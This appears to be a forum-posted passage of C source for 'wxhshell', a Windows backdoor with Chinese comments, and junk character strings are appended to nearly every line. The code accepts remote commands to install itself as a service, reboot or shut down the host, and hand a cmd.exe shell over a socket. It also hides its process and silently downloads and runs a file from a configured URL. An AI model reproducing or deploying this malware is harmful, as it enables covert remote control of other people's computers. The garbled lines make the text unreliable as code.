  case '?': { [)*fN|Hy  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); {>z.y1  
    break; PXkPC%j  
  } Xbz}pAnj  
  // 安装 `mMD e  
  case 'i': { /`1zkBj<&  
    if(Install()) 3{%/1>+x5  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); D\k);BU~  
    else #*9*[Xbi  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ^WeT3b q  
    break; dWp4|r  
    } 9Dpmp|  
  // 卸载 Rn}+l[]jC  
  case 'r': { 9Kqr9U--v  
    if(Uninstall()) Fc=8Qt^  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); F;zmq%rK  
    else tHGK<rb  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 7.5G4  
    break; C }!$'C|  
    } ^)SvH  
  // 显示 wxhshell 所在路径 GJ*AyYG  
  case 'p': { mV;7SBoT  
    char svExeFile[MAX_PATH]; B^6P 6,  
    strcpy(svExeFile,"\n\r"); 2<y -cQ?>  
      strcat(svExeFile,ExeFile); Yux7kD\c  
        send(wsh,svExeFile,strlen(svExeFile),0); GxvVh71zP  
    break; @}FRiPo6  
    } HloP NE&}  
  // 重启 N%T-Q9k  
  case 'b': { 'aCnj8B  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); _-D(N/  
    if(Boot(REBOOT)) 4 Hu+ljdjB  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); jReI+ pS  
    else { eQ*gnV}rE%  
    closesocket(wsh); /aK },+  
    ExitThread(0); 7Fq|Zc`P  
    } ;BI{v^()s  
    break; a#kZY7s  
    } K,So#Ui  
  // 关机 @ O%m,  
  case 'd': { o&>0 pc  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); KR{kn[2|Q  
    if(Boot(SHUTDOWN)) ] $%{nj<  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); s#d>yx_b  
    else { E=LaPjEIj  
    closesocket(wsh); EqOB 0\  
    ExitThread(0); [*1c.&%(  
    } o2jnmv~  
    break; QZDGk4GG  
    } 2bCa|HTv  
  // 获取shell k_!z=6?[:  
  case 's': { c*3ilMP\4  
    CmdShell(wsh); OyH:  
    closesocket(wsh); UboOIx5:  
    ExitThread(0); :?60pu=  
    break; r"0nUf*og:  
  } r*WdD/r|  
  // 退出 x[)S3U J  
  case 'x': { =P5SFMPN  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z\;kjI  
    CloseIt(wsh); (V |P6C  
    break; #Uudx~b  
    } l]%|w]i\  
  // 离开 //WgK{Mt  
  case 'q': { |o+vpy  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); mhcJ0\@_  
    closesocket(wsh); eqLETo@} *  
    WSACleanup(); ntjUnd&v\  
    exit(1); +[cm  
    break; zis-}K<   
        } !Dz:6r  
  } ;aD_^XY  
  } 0m?ul%=  
& ??)gMM[  
  // 提示信息 t[#`%$% '  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); PZ"xW0"-  
} %.Mtn%:I *  
  } 0ai4%=d-  
{(t (}-:Z  
  return; >(\[$  
} ZkqC1u3  
ka]n+"~==\  
// shell模块句柄 y{kXd1,  
int CmdShell(SOCKET sock) (2%C% #]8  
{ O *jNeYA  
STARTUPINFO si; p4t(xm2T  
ZeroMemory(&si,sizeof(si)); | WDX@Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; #8[,w.X  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; %,>,J`  
PROCESS_INFORMATION ProcessInfo; Z-:$)0f  
char cmdline[]="cmd";  u0i @.  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); s  n?  
  return 0; 4I,HvP  
} fF>H7  
h; {?z  
// 自身启动模式 R/P.m~?  
int StartFromService(void) 8fdOV&&D~i  
{ tl#hCy  
typedef struct 0`OqD d  
{ Q9rE_} Z  
  DWORD ExitStatus; U~7.aZHPx3  
  DWORD PebBaseAddress; !N!M NsyDz  
  DWORD AffinityMask; m V^dIm  
  DWORD BasePriority; B:9Z ;g@&  
  ULONG UniqueProcessId; &npf %Eub  
  ULONG InheritedFromUniqueProcessId; CNP?i(Rk  
}   PROCESS_BASIC_INFORMATION; CMTy(Z8_)  
|rNm_L2  
PROCNTQSIP NtQueryInformationProcess; L5U>`lx6$  
bk5~t'  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; sX@e1*YE_  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; dLjT^ 9  
!WDdq_n*v  
  HANDLE             hProcess; ECl[v%R/6  
  PROCESS_BASIC_INFORMATION pbi; R4{}ZT  
1a%*X UT  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); I\4 I,ds  
  if(NULL == hInst ) return 0; ti'OjoJL  
)L_jR%2j  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); Rov0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +!w?g/dV  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); #Xsby  
dU+1@_  
  if (!NtQueryInformationProcess) return 0; Gew0Y#/  
_)^(-}(_D  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId());  6W3}6p  
  if(!hProcess) return 0; 3aW4Gs<g  
#He:p$43  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; J,jl(=G  
mD|<qsY)  
  CloseHandle(hProcess); 0E++  
KX*e2 /0  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); &(wik#S  
if(hProcess==NULL) return 0; Av/|={i  
.k[Ptx>  
HMODULE hMod; ^QXUiXzl  
char procName[255]; |Z!C`G[  
unsigned long cbNeeded; ?5Lom#^  
vR:t4EJ`  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); M8 ++JI  
F2+lwycY  
  CloseHandle(hProcess); NH|v`rO  
ysvn*9h+&  
if(strstr(procName,"services")) return 1; // 以服务启动 >2N` l  
<$ '#@jW  
  return 0; // 注册表启动 C10A$=!  
} \7W {/v4^  
y<B "  
// 主模块 R[o KhU  
int StartWxhshell(LPSTR lpCmdLine) ' Bdvqq  
{ zYH6+!VBH#  
  SOCKET wsl; /GCSC8T  
BOOL val=TRUE; Qa"R?dfr  
  int port=0; pQW^lqwZ:6  
  struct sockaddr_in door; hu6)GOZbv  
|[xi"E\  
  if(wscfg.ws_autoins) Install(); y*_g1q$  
X~W5Z(w(O  
port=atoi(lpCmdLine); 6I 2`m(5  
k%uRG_  
if(port<=0) port=wscfg.ws_port; g,x$z~zU{  
w6Ue5Ix,!  
  WSADATA data; g[!sGa &  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; WqwD"WX+w  
5MiWM2"X\  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   LgB}!OLQ  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); q-p4k`]  
  door.sin_family = AF_INET; >Utn[']~  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); D|UDLaz~  
  door.sin_port = htons(port); <:/V`b3a  
C%G-Ye|@  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { W5sVQ`S-  
closesocket(wsl); P]INYH  
return 1; >YPfk=0f0  
} >oLM2VJ  
c-`&e-~XKL  
  if(listen(wsl,2) == INVALID_SOCKET) { Br-bUoua  
closesocket(wsl); J]$%1Y  
return 1; 7%L-;xcr]B  
} T*LbZ"A  
  Wxhshell(wsl); 5E~][. d  
  WSACleanup(); V$^x]z  
[gD02a: u  
return 0; vO <;Gnh~  
>e8 t  
} @bS>XWI>  
`5h$@  
// 以NT服务方式启动 b>;5#OQfn  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) vzs6YsA  
{ )WuuU [(  
DWORD   status = 0; <g,xc)[  
  DWORD   specificError = 0xfffffff; Bxz{rR0XV  
-08Ys c  
  serviceStatus.dwServiceType     = SERVICE_WIN32; h&[!CtPm  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; )V~<8/)  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; <9B43  
  serviceStatus.dwWin32ExitCode     = 0; Vs m06Rj{  
  serviceStatus.dwServiceSpecificExitCode = 0; bm(0raugs  
  serviceStatus.dwCheckPoint       = 0; @$Z5A g!  
  serviceStatus.dwWaitHint       = 0; Tf*X\{"  
|+ @  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); p5>TL!4M  
  if (hServiceStatusHandle==0) return; mN*9X[ >x  
:|P"`j  
status = GetLastError(); (r:WG!I,  
  if (status!=NO_ERROR) [Fj h  
{ ; N!K/[p=  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; x4Eq5"F7}  
    serviceStatus.dwCheckPoint       = 0; C+O`3wPZp  
    serviceStatus.dwWaitHint       = 0; nn5S7!  
    serviceStatus.dwWin32ExitCode     = status; B.|2w  
    serviceStatus.dwServiceSpecificExitCode = specificError; #S_LKc  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); aRj3TtFh  
    return; 21G] d  
  } W:hR8 1ci  
E$*I.i_m  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; &<k )W  
  serviceStatus.dwCheckPoint       = 0; F0]= z-  
  serviceStatus.dwWaitHint       = 0; P?\rRB  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); cXtL3T+  
} Q >)?_O(  
1*G7Uh@K}  
// 处理NT服务事件,比如:启动、停止 T3wR0,  
VOID WINAPI NTServiceHandler(DWORD fdwControl) ,tmo6D62  
{ I0GL/a 4s  
switch(fdwControl) z{;W$SO 2  
{ O:pQf/Xn  
case SERVICE_CONTROL_STOP: nvgo6*  
  serviceStatus.dwWin32ExitCode = 0; Sr%~ 5Q[W  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; Ow+7o@$"/  
  serviceStatus.dwCheckPoint   = 0; ]X@/0  
  serviceStatus.dwWaitHint     = 0; wf<uG|90  
  { <&b ~(f  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); V|<qO-#.  
  } ';zLh  
  return; ?Q:se  
case SERVICE_CONTROL_PAUSE: /vSFQ}W  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ]qhVxeUm  
  break; *)g*5kKN  
case SERVICE_CONTROL_CONTINUE: ]!0 BMZmf  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; CK'Cf{S  
  break; Ff%m.A8d,4  
case SERVICE_CONTROL_INTERROGATE: l.fNkLC#  
  break; l<GRM1^kU  
}; I\`:(V  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); B3)#Ou2  
} GsE?<3  
>p2v"XX  
// 标准应用程序主函数 )bPwB.}kq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) P@ 1D  
{  ,Ad\!  
$aG]V-M>  
// 获取操作系统版本 |`_TVzA  
OsIsNt=GetOsVer(); 9S.R%2xw`  
GetModuleFileName(NULL,ExeFile,MAX_PATH); T|ZT&x$z  
||9f@9  
  // 从命令行安装 ?W%3>A  
  if(strpbrk(lpCmdLine,"iI")) Install(); Wb/@~!+i`  
p^\>{  
  // 下载执行文件 H*;J9{  
if(wscfg.ws_downexe) { *!'00fv  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) SS(jjpe&,  
  WinExec(wscfg.ws_filenam,SW_HIDE); 75I* &Wl  
} >3 qy'lm  
;cxYX/fJ  
if(!OsIsNt) { At+on9&=  
// 如果时win9x,隐藏进程并且设置为注册表启动 q2&&n6PYW  
HideProc(); ~'v^__8  
StartWxhshell(lpCmdLine); r(J7&vR}h  
} ' G) Wy|*  
else \#G`$JD  
  if(StartFromService()) L$lo5  
  // 以服务方式启动 0z.`  
  StartServiceCtrlDispatcher(DispatchTable); |I85]'K9a  
else q'",70"\  
  // 普通方式启动 ^=.|\ YM  
  StartWxhshell(lpCmdLine); LvhF@%(9J  
t~,!a?S7  
return 0; :,]%W $f=  
}
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只看该作者 1 发表于: 2006-10-10
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